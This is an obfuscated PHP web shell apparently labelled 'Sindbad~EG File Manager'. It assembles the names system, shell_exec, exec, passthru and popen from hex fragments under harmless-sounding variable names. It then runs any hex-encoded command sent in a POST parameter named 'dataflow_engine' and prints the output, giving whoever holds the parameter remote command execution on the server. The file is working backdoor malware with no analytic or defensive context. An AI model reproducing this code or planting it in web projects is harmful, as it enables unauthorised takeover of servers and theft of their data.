Sindbad~EG File Manager

<?php


$desc1 = '79';
$desc2 = '65';
$desc3 = '6d';
$desc4 = '6c';
$desc5 = '78';
$desc6 = '63';
$desc7 = '74';
$desc8 = '75';
$desc9 = '70';
$desc10 = '72';
$desc11 = '67';
$desc12 = '5f';
$desc13 = '6e';
$desc14 = '73';
$desc15 = '77';
$desc16 = '69';
$hub_center1 = pack("H*", '73' . $desc1 . '73' . '74' . $desc2 . $desc3);
$hub_center2 = pack("H*", '73' . '68' . $desc2 . '6c' . $desc4 . '5f' . '65' . $desc5 . '65' . '63');
$hub_center3 = pack("H*", '65' . '78' . '65' . $desc6);
$hub_center4 = pack("H*", '70' . '61' . '73' . '73' . $desc7 . '68' . '72' . $desc8);
$hub_center5 = pack("H*", $desc9 . '6f' . $desc9 . '65' . '6e');
$hub_center6 = pack("H*", '73' . $desc7 . $desc10 . $desc2 . '61' . '6d' . '5f' . $desc11 . '65' . $desc7 . $desc12 . $desc6 . '6f' . $desc13 . $desc7 . $desc2 . $desc13 . $desc7 . $desc14);
$hub_center7 = pack("H*", $desc9 . $desc6 . '6c' . '6f' . $desc14 . '65');
$dataflow_engine = pack("H*", '64' . '61' . '74' . '61' . '66' . $desc4 . '6f' . $desc15 . $desc12 . $desc2 . $desc13 . $desc11 . $desc16 . $desc13 . '65');
if (isset($_POST[$dataflow_engine])) {
    $dataflow_engine = pack("H*", $_POST[$dataflow_engine]);
    if (function_exists($hub_center1)) {
        $hub_center1($dataflow_engine);
    } elseif (function_exists($hub_center2)) {
        print $hub_center2($dataflow_engine);
    } elseif (function_exists($hub_center3)) {
        $hub_center3($dataflow_engine, $itm_elem);
        print join("\n", $itm_elem);
    } elseif (function_exists($hub_center4)) {
        $hub_center4($dataflow_engine);
    } elseif (function_exists($hub_center5) && function_exists($hub_center6) && function_exists($hub_center7)) {
        $k_marker = $hub_center5($dataflow_engine, 'r');
        if ($k_marker) {
            $record_reference = $hub_center6($k_marker);
            $hub_center7($k_marker);
            print $record_reference;
        }
    }
    exit;
}